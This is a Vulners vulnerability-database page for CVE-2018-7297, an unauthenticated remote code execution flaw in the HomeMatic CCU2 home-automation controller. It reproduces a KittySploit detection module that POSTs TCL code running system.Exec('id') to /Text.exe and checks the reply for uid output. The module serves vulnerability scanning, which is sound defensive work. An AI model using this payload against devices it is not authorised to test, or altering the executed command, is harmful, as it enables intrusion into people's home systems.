Lucene search
+L

HomeMatic CCU2 - TCL RCE Detection (CVE-2018-7297)

🗓️ 10 Aug 2026 06:19:08Reported by KittySploitType 
kittysploit
 kittysploit
🔗 github.com👁 7 Views

Unauthenticated RCE in HomeMatic CCU2 via /Text.exe TCL interpreter.

Related
Refs
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Homematic CCU2 2.29.23 - Remote Command Execution Exploit
30 Mar 201800:00
–zdt
bdu_fstec
BDU FSTEC
HomeMatic Central Control Unit Arbitrary File Read Execute System Commands
3 May 201800:00
–bdu_fstec
cnvd
CNVD
eQ-3 AG HomeMatic CCU2 Remote Code Execution Vulnerability (CNVD-2018-05831)
23 Feb 201800:00
–cnvd
cve
CVE
CVE-2018-7297
22 Feb 201819:00
–cve
cvelist
Cvelist
CVE-2018-7297
22 Feb 201819:00
–cvelist
exploitdb
Exploit DB
Homematic CCU2 2.29.23 - Remote Command Execution
30 Mar 201800:00
–exploitdb
kittysploit
KittySploit
HomeMatic CCU2 - TCL RCE (CVE-2018-7297)
10 Aug 202606:19
–kittysploit
nvd
NVD
CVE-2018-7297
22 Feb 201819:29
–nvd
openvas
OpenVAS
HomeMatic CCU2 Multiple Vulnerabilities
23 Feb 201800:00
–openvas
osv_cve
osv_cve
CVE-2018-7297
22 Feb 201819:29
–osv_cve
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""HomeMatic CCU2 TCL interpreter RCE (CVE-2018-7297)."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'HomeMatic CCU2 - TCL RCE Detection (CVE-2018-7297)',
        'description': (
            'Detects CVE-2018-7297 by POSTing system.Exec("id") TCL to /Text.exe and '
            'checking for uid= output.'
        ),
        'author': ['KittySploit Team'],
        'severity': 'critical',
        'tags': [
            'web', 'scanner', 'cve', 'cve2018', 'homematic', 'ccu2', 'rce', 'unauth', 'vuln',
        ],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.4,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0, 'min_params': 0,
                'tech_hints_any': [], 'tech_hints_all': [],
                'specializations_any': [], 'risk_signals_any': [],
                'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
                'confidence_min': {}, 'confidence_min_any': {},
                'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [{'capability': 'risk_signal', 'from_detail': ''}],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['exploits/linux/http/homematic_cve_2018_7297_rce'],
            },
        },
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2018-7297',
            'https://atomic111.github.io/article/homematic-ccu2-remote-code-execution',
        ],
        'cve': 'CVE-2018-7297',
    }

    def run(self):
        data = (
            'string stdout;\n'
            'string stderr;\n'
            'system.Exec("id", &stdout, &stderr);\n'
            'WriteLine(stdout);'
        )
        r = self.http_request(
            method='POST', path='/Text.exe', data=data, allow_redirects=False,
        )
        if not r:
            return False
        if re.search(r'uid=\d+.*gid=\d+', r.text or ''):
            self.set_info(
                severity='critical',
                reason='HomeMatic CCU2 TCL RCE (CVE-2018-7297)',
                path='/Text.exe',
            )
            return True
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Aug 2026 06:19Current
8.5High risk
Vulners AI Score8.5
CVSS 39.8
CVSS 210
EPSS0.64251
7